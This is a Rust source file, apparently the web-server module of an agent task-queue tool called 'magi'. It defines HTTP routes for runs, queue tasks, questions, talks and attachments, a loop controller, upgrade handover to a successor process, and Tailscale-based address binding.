1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128pub const DEFAULT_PORT: u16 = 7878;
130
131const POLL: Duration = Duration::from_secs(1);
133
134const KEEPALIVE: Duration = Duration::from_secs(15);
138
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155const LIST_DEFAULT: usize = 50;
159const LIST_MAX: usize = 500;
161
162const TITLE_MAX: usize = 72;
164
165const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182const FILENAME_HEADER: &str = "x-filename";
186
187const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210 font-src data:; base-uri 'none'; form-action 'none'; \
211 frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220 Auto,
222 Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227 type Err = String;
228
229 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233 if s.eq_ignore_ascii_case("auto") {
234 return Ok(Self::Auto);
235 }
236 s.parse()
237 .map(Self::Addr)
238 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239 }
240}
241
242impl std::fmt::Display for Bind {
243 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244 match self {
245 Self::Auto => f.write_str("auto"),
246 Self::Addr(addr) => write!(f, "{addr}"),
247 }
248 }
249}
250
251#[derive(Debug, Clone)]
253pub struct Opts {
254 pub bind: Bind,
256 pub port: u16,
258 pub repo: PathBuf,
260 pub open: bool,
263 pub merge: Option<String>,
271}
272
273impl Default for Opts {
274 fn default() -> Self {
275 Self {
276 bind: Bind::Auto,
277 port: DEFAULT_PORT,
278 repo: PathBuf::from("."),
279 open: false,
280 merge: None,
281 }
282 }
283}
284
285#[derive(Debug, Clone)]
291pub struct Ui {
292 queue: Queue,
293 questions: Questions,
294 notices: Notices,
297 talks: Talks,
298 runs: PathBuf,
299 home: PathBuf,
300 repo: PathBuf,
301 worktrees_root: PathBuf,
308 talk_turns: Arc<Mutex<TalkTurns>>,
316 resuming: Arc<Mutex<HashSet<String>>>,
324 repos_cache: repos::Cache,
328 machine_config: Option<PathBuf>,
332 merge: Option<String>,
334 looping: Arc<Mutex<LoopState>>,
336 launch: Launch,
348 #[cfg(test)]
351 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354#[cfg(test)]
374struct BusyQueueGate {
375 reached: tokio::sync::oneshot::Sender<()>,
376 release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383 }
384}
385
386impl Ui {
387 pub fn new(
389 queue: Queue,
390 questions: Questions,
391 talks: Talks,
392 runs: PathBuf,
393 home: PathBuf,
394 repo: PathBuf,
395 ) -> Self {
396 Self {
397 queue,
398 questions,
399 notices: Notices::at(home.join("notifications")),
400 talks,
401 runs,
402 home,
403 repo,
404 worktrees_root: run::default_worktree_root(),
408 talk_turns: Arc::default(),
409 resuming: Arc::default(),
410 repos_cache: repos::Cache::new(),
411 machine_config: Config::machine_layer(),
412 merge: None,
413 looping: Arc::default(),
414 launch: launch_daemon,
415 #[cfg(test)]
416 busy_queue_gate: Arc::default(),
417 }
418 }
419
420 pub fn open(repo: PathBuf) -> Self {
423 Self::new(
424 Queue::open(),
425 Questions::open(),
426 Talks::open(),
427 run::runs_root(),
428 run::home(),
429 repo,
430 )
431 }
432
433 #[must_use]
440 pub fn with_merge(mut self, merge: Option<String>) -> Self {
441 self.merge = merge;
442 self
443 }
444
445 #[cfg(test)]
448 #[must_use]
449 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450 self.machine_config = path;
451 self
452 }
453
454 #[must_use]
459 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460 self.worktrees_root = root;
461 self
462 }
463
464 #[cfg(test)]
469 #[must_use]
470 fn with_launch(mut self, launch: Launch) -> Self {
471 self.launch = launch;
472 self
473 }
474
475 #[cfg(test)]
485 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486 *self
487 .busy_queue_gate
488 .lock()
489 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490 }
491
492 fn looping(&self) -> Arc<Mutex<LoopState>> {
494 Arc::clone(&self.looping)
495 }
496
497 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504 if let Some(other) = foreign {
505 return Err(ApiError::conflict(format!(
506 "{} is already running the loop, so this one will not start a \
507 second: two loops on one queue race for the same claims and \
508 burn the agent quota twice over. Stop it where it was \
509 started.",
510 other.who()
511 )));
512 }
513 let mut state = self.lock_loop();
514 if state.live.as_ref().is_some_and(Live::alive) {
515 return Err(ApiError::conflict(format!(
516 "this magi web process (pid {}) is already running the loop",
517 std::process::id()
518 )));
519 }
520
521 let stop = daemon::Stop::new();
522 let opts = daemon::Opts {
526 repo: self.repo.clone(),
527 merge: self.merge.clone(),
528 worktrees_root: Some(self.worktrees_root.clone()),
535 ..daemon::Opts::default()
536 };
537 let launch = self.launch;
538 let looping = Arc::clone(&self.looping);
539 let handle = tokio::spawn({
540 let opts = opts.clone();
541 let stop = stop.clone();
542 async move {
543 let failure = match launch(opts, stop).await {
544 Ok(()) => None,
545 Err(e) => Some(format!("{e:#}")),
546 };
547 match &failure {
548 Some(why) => tracing::error!("the loop stopped: {why}"),
549 None => tracing::info!("the loop stopped"),
550 }
551 let mut state = lock_or_recover(&looping);
557 state.live = None;
558 state.last_error = failure;
559 state.rev += 1;
560 }
561 });
562 tracing::info!(
563 "the loop is now running in this process: repo {}, merge {}",
564 opts.repo.display(),
565 opts.merge.as_deref().unwrap_or("as the config says")
566 );
567 state.live = Some(Live { stop, handle, opts });
568 state.last_error = None;
571 state.rev += 1;
572 Ok(())
573 }
574
575 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581 if let Some(other) = foreign {
582 return Err(ApiError::conflict(format!(
583 "the loop belongs to {}, and this process cannot stop it - \
584 stop it where it was started. A button that silently did \
585 nothing would be worse than this refusal.",
586 other.who()
587 )));
588 }
589 let mut state = self.lock_loop();
590 if !park {
593 state.resume_after_handover = false;
594 }
595 let Some(live) = state.live.as_ref() else {
596 return Ok(());
597 };
598 if live.stop.stopped() && (!park || live.stop.parking()) {
602 return Ok(());
603 }
604 if park {
605 live.stop.park();
606 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607 } else {
608 live.stop.stop();
609 tracing::info!("the loop was asked to stop; a run in flight is finished first");
610 }
611 state.rev += 1;
612 Ok(())
613 }
614
615 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622 let state = self.lock_loop();
623 let live = state.live.as_ref().filter(|live| live.alive());
626 LoopView {
627 running: live.is_some(),
628 stopping: live.is_some_and(|live| live.stop.finishing()),
629 parking: live.is_some_and(|live| live.stop.parking()),
630 owned: live.is_some(),
631 repo: live
632 .map_or(&self.repo, |live| &live.opts.repo)
633 .display()
634 .to_string(),
635 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636 last_error: state.last_error.clone(),
637 daemon: DaemonView::of(reading),
638 }
639 }
640
641 fn resume_after_handover(&self, resume: bool) -> bool {
647 if !resume {
648 return false;
649 }
650 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651 match self.start_loop(foreign) {
652 Ok(()) => true,
653 Err(e) => {
654 let why = format!(
655 "the loop could not be resumed after the upgrade: {}",
656 e.message
657 );
658 tracing::warn!("{why}");
659 let mut state = self.lock_loop();
660 state.last_error = Some(why);
661 state.rev += 1;
662 false
663 }
664 }
665 }
666
667 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669 lock_or_recover(&self.looping)
670 }
671
672 fn is_thinking(&self, id: &str) -> bool {
678 self.talk_turns
679 .lock()
680 .is_ok_and(|turns| turns.live.contains(id))
681 }
682
683 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
702 self.claim_talk_turn(id, false)
703 }
704
705 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
708 self.claim_talk_turn(id, true)
709 }
710
711 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
712 let mut live = self
713 .talk_turns
714 .lock()
715 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
716 if !live.live.insert(id.to_owned()) {
717 if queued {
718 *live.queued.entry(id.to_owned()).or_default() += 1;
723 }
724 return Ok(None);
725 }
726 Ok(Some(TalkTurnGuard {
727 talk: id.to_owned(),
728 turns: Arc::clone(&self.talk_turns),
729 released: false,
730 }))
731 }
732
733 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
738 let mut live = self
739 .talk_turns
740 .lock()
741 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
742 if live.live.contains(id) {
743 return Ok(TalkTurnStart::Busy);
744 }
745 let talk = self.talks.get(id).map_err(ApiError::from)?;
746 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
747 return Ok(TalkTurnStart::Pending);
748 }
749 live.live.insert(id.to_owned());
750 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
751 talk: id.to_owned(),
752 turns: Arc::clone(&self.talk_turns),
753 released: false,
754 }))
755 }
756
757 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
764 let parking = {
765 let mut state = self.lock_loop();
766 let resume = state.resume_after_handover
776 || state
777 .live
778 .as_ref()
779 .is_some_and(|live| live.alive() && !live.stop.stopped());
780 state.resume_after_handover = resume;
781 let Some(live) = state.live.as_ref() else {
782 return Ok(None);
783 };
784 let busy = live.stop.busy_now();
785 live.stop.park();
786 state.rev += 1;
787 busy
788 };
789 Ok(if parking {
790 daemon::current_work(&self.home, jiff::Timestamp::now())
795 .into_iter()
796 .next()
797 .map(|c| c.run)
798 } else {
799 None
800 })
801 }
802
803 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
807 let mut live = self
808 .resuming
809 .lock()
810 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
811 if !live.insert(id.to_owned()) {
812 return Err(ApiError::conflict(format!(
813 "run {id} is already being resumed"
814 )));
815 }
816 Ok(ResumeGuard {
817 run: id.to_owned(),
818 resuming: Arc::clone(&self.resuming),
819 })
820 }
821
822 pub fn router(self) -> Router {
830 Router::new()
831 .route("/", get(index))
832 .route("/app.css", get(app_css))
833 .route("/app.js", get(app_js))
834 .route("/api/health", get(health))
835 .route("/api/loop", get(loop_get).post(loop_post))
836 .route("/api/upgrade", post(upgrade_post))
837 .route("/api/runs", get(runs_list))
838 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
839 .route("/api/runs/{id}/report", get(run_report))
840 .route("/api/runs/{id}/fold", post(run_fold))
841 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
842 .route("/api/runs/{id}/resume", post(run_resume))
843 .route("/api/queue", get(queue_list))
844 .route("/api/search", get(search_get))
845 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
846 .route("/api/stats", get(stats_get))
847 .route("/api/repos", get(repos_list))
848 .route("/api/settings", get(settings_get))
849 .route("/api/settings/roles", put(settings_put_roles))
850 .route("/api/queue/{id}/hold", post(queue_hold))
851 .route("/api/queue/{id}/release", post(queue_release))
852 .route("/api/queue/{id}/priority", post(queue_priority))
853 .route("/api/queue/{id}/edit", post(queue_edit))
854 .route("/api/queue/{id}/done", post(queue_done))
855 .route("/api/questions", get(questions_list))
856 .route("/api/questions/{id}/answer", post(question_answer))
857 .route("/api/questions/{id}/say", post(question_say))
858 .route("/api/questions/{id}/panel", get(question_panel))
859 .route("/api/questions/{id}/panel/index.html", get(question_panel))
867 .route("/api/questions/{id}/panel/{name}", get(question_asset))
868 .route("/api/questions/{id}/asset/{name}", get(question_asset))
869 .route("/api/notifications", get(notifications_list))
870 .route("/api/notifications/read-all", post(notifications_read_all))
871 .route("/api/notifications/{id}/read", post(notification_read))
872 .route(
873 "/api/notifications/{id}/dismiss",
874 post(notification_dismiss),
875 )
876 .route("/api/talks", get(talks_list).post(talk_post))
877 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
878 .route("/api/talks/{id}/say", post(talk_say))
879 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
880 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
881 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
882 .route("/api/talks/{id}/agent", post(talk_agent))
883 .route("/api/talks/{id}/close", post(talk_close))
884 .route("/api/talks/{id}/reopen", post(talk_reopen))
885 .route(
891 "/api/talks/{id}/attachments",
892 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
893 )
894 .route(
895 "/api/talks/{id}/attachments/{att}",
896 get(talk_attachment_get),
897 )
898 .route("/api/events", get(events))
899 .with_state(Arc::new(self))
900 }
901}
902
903#[derive(Debug)]
909struct TalkTurnGuard {
910 talk: String,
911 turns: Arc<Mutex<TalkTurns>>,
912 released: bool,
913}
914
915#[derive(Debug, Default)]
922struct TalkTurns {
923 live: HashSet<String>,
924 queued: HashMap<String, u64>,
925}
926
927enum TalkTurnStart {
930 Claimed(TalkTurnGuard),
931 Busy,
932 Pending,
933}
934
935impl TalkTurnGuard {
936 fn release(mut self, live: &mut TalkTurns) {
939 live.live.remove(&self.talk);
940 live.queued.remove(&self.talk);
941 self.released = true;
942 }
943}
944
945impl Drop for TalkTurnGuard {
946 fn drop(&mut self) {
947 if self.released {
948 return;
949 }
950 if let Ok(mut live) = self.turns.lock() {
951 live.live.remove(&self.talk);
952 live.queued.remove(&self.talk);
953 }
954 }
955}
956
957struct ResumeGuard {
959 run: String,
960 resuming: Arc<Mutex<HashSet<String>>>,
961}
962
963impl Drop for ResumeGuard {
964 fn drop(&mut self) {
965 if let Ok(mut live) = self.resuming.lock() {
966 live.remove(&self.run);
967 }
968 }
969}
970
971async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
981 const WINDOW: Duration = Duration::from_secs(10);
982 const GAP: Duration = Duration::from_millis(250);
983
984 let deadline = std::time::Instant::now() + WINDOW;
985 let mut said = false;
986 loop {
987 match tokio::net::TcpListener::bind(socket).await {
988 Ok(listener) => return Ok(listener),
989 Err(e)
990 if e.kind() == std::io::ErrorKind::AddrInUse
991 && std::time::Instant::now() < deadline =>
992 {
993 if !said {
994 said = true;
995 tracing::info!(
996 "{socket} is still held - waiting up to {}s for it, \
997 which is what a restart looks like from here",
998 WINDOW.as_secs()
999 );
1000 }
1001 tokio::time::sleep(GAP).await;
1002 }
1003 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1004 }
1005 }
1006}
1007
1008static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1011
1012const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1014
1015fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1017 value.is_some_and(|v| v == "1")
1018}
1019
1020fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1043 let exe = std::env::current_exe().context("find this binary")?;
1044 let args: Vec<String> = std::env::args().skip(1).collect();
1045 updater::log_step(
1046 home,
1047 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1048 );
1049 let log_path = home.join(WEB_LOG);
1050 let open_log = || {
1051 std::fs::create_dir_all(home)?;
1052 std::fs::OpenOptions::new()
1053 .create(true)
1054 .append(true)
1055 .open(&log_path)
1056 };
1057 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1058 Ok(pair) => (
1059 std::process::Stdio::from(pair.0),
1060 std::process::Stdio::from(pair.1),
1061 ),
1062 Err(e) => {
1063 updater::log_warn(
1064 home,
1065 &format!(
1066 "could not open {}: {e}; the successor logs nowhere",
1067 log_path.display()
1068 ),
1069 );
1070 (std::process::Stdio::null(), std::process::Stdio::null())
1071 }
1072 };
1073
1074 let mut cmd = std::process::Command::new(&exe);
1075 if resume {
1076 cmd.env(RESUME_LOOP_ENV, "1");
1077 } else {
1078 cmd.env_remove(RESUME_LOOP_ENV);
1079 }
1080 cmd.args(&args)
1081 .stdin(std::process::Stdio::null())
1082 .stdout(out)
1083 .stderr(err);
1084 #[cfg(windows)]
1085 {
1086 use std::os::windows::process::CommandExt as _;
1087 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1090 }
1091 let child = cmd.spawn().context("start the successor")?;
1092 Ok(child.id())
1093}
1094
1095const WEB_LOG: &str = "web.log";
1097
1098async fn wait_for_handover(signal: &Notify) {
1102 signal.notified().await;
1103}
1104
1105pub async fn serve(opts: Opts) -> Result<()> {
1130 let (addr, warning) = resolve_bind(&opts.bind);
1131 if let Some(warning) = warning {
1132 tracing::warn!("{warning}");
1133 }
1134
1135 report::set_color(false);
1141
1142 let repo = normalize_default_repo(opts.repo).await;
1143 let ui = Ui::open(repo).with_merge(opts.merge);
1144 let home = ui.home.clone();
1149 let repo = ui.repo.clone();
1150 updater::reconcile_after_restart(&home);
1155 updater::log_step(
1156 &home,
1157 &format!(
1158 "web process started (version {}); handover log {}, successor output {}",
1159 env!("CARGO_PKG_VERSION"),
1160 updater::log_path(&home).display(),
1161 home.join(WEB_LOG).display()
1162 ),
1163 );
1164 updater::spawn_watchdog(home.clone());
1165 tokio::spawn(run_update_recheck(repo, home.clone()));
1174 let looping = ui.looping();
1175 let socket = SocketAddr::new(addr, opts.port);
1176 let listener = bind_waiting(socket).await?;
1177 let url = format!("http://{addr}:{}", opts.port);
1178 tracing::info!(
1179 "magi web UI on {url} - there is no authentication, so anyone who can \
1180 reach this address can file and hold tasks: the tailnet is the \
1181 security boundary"
1182 );
1183 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1184 tracing::info!("resumed the loop the predecessor was running");
1185 } else {
1186 tracing::info!(
1187 "the queue loop is not running yet - start it from the UI, which is \
1188 the whole reason this process can: nothing in the queue moves until \
1189 something is running the loop"
1190 );
1191 }
1192 if opts.open {
1193 println!("{url}");
1197 }
1198
1199 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1202 let interrupted = async {
1203 if tokio::signal::ctrl_c().await.is_err() {
1204 std::future::pending::<()>().await;
1209 }
1210 };
1211 let handover = wait_for_handover(&HANDOVER);
1212 let outcome = tokio::select! {
1213 joined = &mut served => match joined {
1214 Ok(outcome) => outcome.context("serve the web UI"),
1215 Err(e) => Err(e).context("the task serving the web UI ended"),
1216 },
1217 () = interrupted => {
1218 tracing::info!("shutting down the web UI");
1219 finish_loop(&home, &looping).await;
1220 Ok(())
1221 }
1222 () = handover => {
1223 updater::log_step(&home, "serve: the select! woke on the handover signal");
1224 let successor_home = home.clone();
1225 hand_over(&home, &looping, served, move |resume| {
1226 spawn_successor(&successor_home, resume)
1227 })
1228 .await
1229 }
1230 };
1231 updater::log_step(
1232 &home,
1233 &match &outcome {
1234 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1235 Err(e) => format!("serve: returning an error: {e:#}"),
1236 },
1237 );
1238 outcome
1239}
1240
1241async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1262 if repo != FsPath::new(".") {
1263 return repo;
1264 }
1265 let Ok(canonical) = repo.canonicalize() else {
1266 return repo;
1267 };
1268 if git::toplevel(&canonical).await.is_ok() {
1269 return repo;
1270 }
1271 let Some(home) = dirs::home_dir() else {
1272 return repo;
1273 };
1274 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1275 Some(found) => {
1276 tracing::info!(
1277 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1278 canonical.display(),
1279 found.path.display(),
1280 found.reason,
1281 );
1282 found.path
1283 }
1284 None => repo,
1285 }
1286}
1287
1288async fn hand_over(
1318 home: &FsPath,
1319 looping: &Mutex<LoopState>,
1320 served: tokio::task::JoinHandle<std::io::Result<()>>,
1321 successor: impl FnOnce(bool) -> Result<u32>,
1322) -> Result<()> {
1323 updater::log_step(home, "hand_over: entered; writing the parking stage");
1324 match updater::read_progress(home) {
1325 Some(mut progress) => {
1326 progress.advance(updater::Stage::Parking);
1327 updater::write_progress_logged(home, &progress);
1328 }
1329 None => updater::log_warn(
1330 home,
1331 "hand_over: upgrade.json is unreadable; no parking stage",
1332 ),
1333 }
1334 finish_loop(home, looping).await;
1335 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1336 served.abort();
1337 let _ = served.await;
1338 updater::log_step(home, "hand_over: listener released");
1339 let resume = lock_or_recover(looping).resume_after_handover;
1342 match updater::read_progress(home) {
1343 Some(mut progress) => {
1344 progress.advance(updater::Stage::Restarting);
1345 updater::write_progress_logged(home, &progress);
1346 }
1347 None => updater::log_warn(
1348 home,
1349 "hand_over: upgrade.json is unreadable; no restarting stage",
1350 ),
1351 }
1352 updater::log_step(
1353 home,
1354 &format!("hand_over: starting the successor (resume={resume})"),
1355 );
1356 match successor(resume) {
1357 Ok(pid) => {
1358 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1359 Ok(())
1360 }
1361 Err(e) => {
1362 updater::log_warn(
1363 home,
1364 &format!("hand_over: the successor did not start: {e:#}"),
1365 );
1366 Err(e)
1367 }
1368 }
1369}
1370
1371async fn finish_loop(home: &FsPath, state: &Mutex<LoopState>) {
1378 let live = lock_or_recover(state).live.take();
1379 let Some(live) = live else {
1380 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1381 return;
1382 };
1383 live.stop.stop();
1384 lock_or_recover(state).rev += 1;
1385 updater::log_step(
1386 home,
1387 "finish_loop: waiting for the loop to finish the run in flight",
1388 );
1389 let waited = std::time::Instant::now();
1390 let _ = live.handle.await;
1393 updater::log_step(
1394 home,
1395 &format!(
1396 "finish_loop: the loop ended after {:.1}s",
1397 waited.elapsed().as_secs_f32()
1398 ),
1399 );
1400}
1401
1402pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1408 match bind {
1409 Bind::Addr(addr) => (*addr, None),
1410 Bind::Auto => match tailscale_ip() {
1411 Ok(ip) => (IpAddr::V4(ip), None),
1412 Err(why) => (
1413 IpAddr::V4(Ipv4Addr::LOCALHOST),
1414 Some(format!(
1415 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1416 local-only and a phone cannot reach it; start Tailscale \
1417 or pass --bind <addr>"
1418 )),
1419 ),
1420 },
1421 }
1422}
1423
1424fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1432 let out = std::process::Command::new("tailscale")
1433 .args(["ip", "-4"])
1434 .quiet()
1435 .output()
1436 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1437 if !out.status.success() {
1438 let why = String::from_utf8_lossy(&out.stderr);
1439 let why = why.trim();
1440 return Err(format!(
1441 "`tailscale ip -4` failed ({}){}",
1442 out.status,
1443 if why.is_empty() {
1444 String::new()
1445 } else {
1446 format!(": {why}")
1447 }
1448 ));
1449 }
1450 String::from_utf8_lossy(&out.stdout)
1451 .lines()
1452 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1453 .find(is_tailnet)
1454 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1455}
1456
1457fn is_tailnet(ip: &Ipv4Addr) -> bool {
1459 let o = ip.octets();
1460 o[0] == 100 && (64..=127).contains(&o[1])
1461}
1462
1463type ApiResult<T> = std::result::Result<T, ApiError>;
1467
1468#[derive(Debug)]
1470struct ApiError {
1471 status: StatusCode,
1472 message: String,
1473}
1474
1475impl ApiError {
1476 fn bad_request(message: impl Into<String>) -> Self {
1478 Self {
1479 status: StatusCode::BAD_REQUEST,
1480 message: message.into(),
1481 }
1482 }
1483
1484 fn not_found(message: impl Into<String>) -> Self {
1486 Self {
1487 status: StatusCode::NOT_FOUND,
1488 message: message.into(),
1489 }
1490 }
1491
1492 fn with_status(mut self, status: StatusCode) -> Self {
1495 self.status = status;
1496 self
1497 }
1498
1499 fn bad_request_from(e: anyhow::Error) -> Self {
1503 Self::bad_request(format!("{e:#}"))
1504 }
1505
1506 fn conflict(message: impl Into<String>) -> Self {
1507 Self {
1508 status: StatusCode::CONFLICT,
1509 message: message.into(),
1510 }
1511 }
1512
1513 fn internal(message: impl Into<String>) -> Self {
1515 Self {
1516 status: StatusCode::INTERNAL_SERVER_ERROR,
1517 message: message.into(),
1518 }
1519 }
1520}
1521
1522impl From<anyhow::Error> for ApiError {
1523 fn from(e: anyhow::Error) -> Self {
1528 Self::internal(format!("{e:#}"))
1529 }
1530}
1531
1532impl IntoResponse for ApiError {
1533 fn into_response(self) -> Response {
1534 let body = serde_json::json!({ "error": self.message });
1535 (self.status, Json(body)).into_response()
1536 }
1537}
1538
1539async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1548where
1549 T: Send + 'static,
1550{
1551 match tokio::task::spawn_blocking(job).await {
1552 Ok(result) => result,
1553 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1554 }
1555}
1556
1557const ASSET_CACHE: &str = "no-cache, must-revalidate";
1575
1576fn asset_etag() -> &'static str {
1583 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1584 format!(
1585 "\"{}-{}\"",
1586 env!("CARGO_PKG_VERSION"),
1587 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1592 )
1593 });
1594 &TAG
1595}
1596
1597fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1599 [
1600 (header::CONTENT_TYPE, mime),
1601 (header::CACHE_CONTROL, ASSET_CACHE),
1602 (header::ETAG, asset_etag()),
1603 ]
1604}
1605
1606fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1614 let tag = asset_etag();
1615 let known = headers
1616 .get(header::IF_NONE_MATCH)
1617 .and_then(|v| v.to_str().ok())
1618 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1622 if known {
1623 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1624 }
1625 (asset_headers(mime), body).into_response()
1626}
1627
1628async fn index(headers: header::HeaderMap) -> Response {
1629 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1630}
1631
1632async fn app_css(headers: header::HeaderMap) -> Response {
1633 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1634}
1635
1636async fn app_js(headers: header::HeaderMap) -> Response {
1637 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1638}
1639
1640#[derive(Debug, Serialize)]
1642struct HealthView {
1643 version: &'static str,
1644 home: String,
1645 queue_rev: u64,
1646 runs_rev: u64,
1647 questions_rev: u64,
1659 talks_rev: u64,
1661 notifications_rev: u64,
1663 notifications_unread: usize,
1666 loop_rev: u64,
1671 runs_unreadable: usize,
1679 disk: DiskView,
1687 questions_open: usize,
1693 questions_needs_owner: usize,
1703 daemon: DaemonView,
1704 #[serde(rename = "loop")]
1710 looping: LoopView,
1711 update: UpdateView,
1718 upgrade: Option<UpgradeProgressView>,
1722}
1723
1724#[derive(Debug, Serialize)]
1731struct UpdateView {
1732 available: bool,
1734 to: Option<String>,
1736}
1737
1738#[derive(Debug, Serialize)]
1740struct UpgradeProgressView {
1741 stage: updater::Stage,
1742 from: String,
1743 to: Option<String>,
1744 waiting_on: Option<String>,
1747 started_at: Timestamp,
1748 updated_at: Timestamp,
1749 detail: Option<String>,
1750 stuck_for_secs: Option<i64>,
1753}
1754
1755fn should_spawn_recheck(cfg: &Update) -> bool {
1762 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1763}
1764
1765fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1777 if progress.is_some_and(|p| !p.stage.terminal()) {
1778 return false;
1779 }
1780 checker.should_check()
1781}
1782
1783fn recheck_poll_period(cfg: &Update) -> Duration {
1796 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
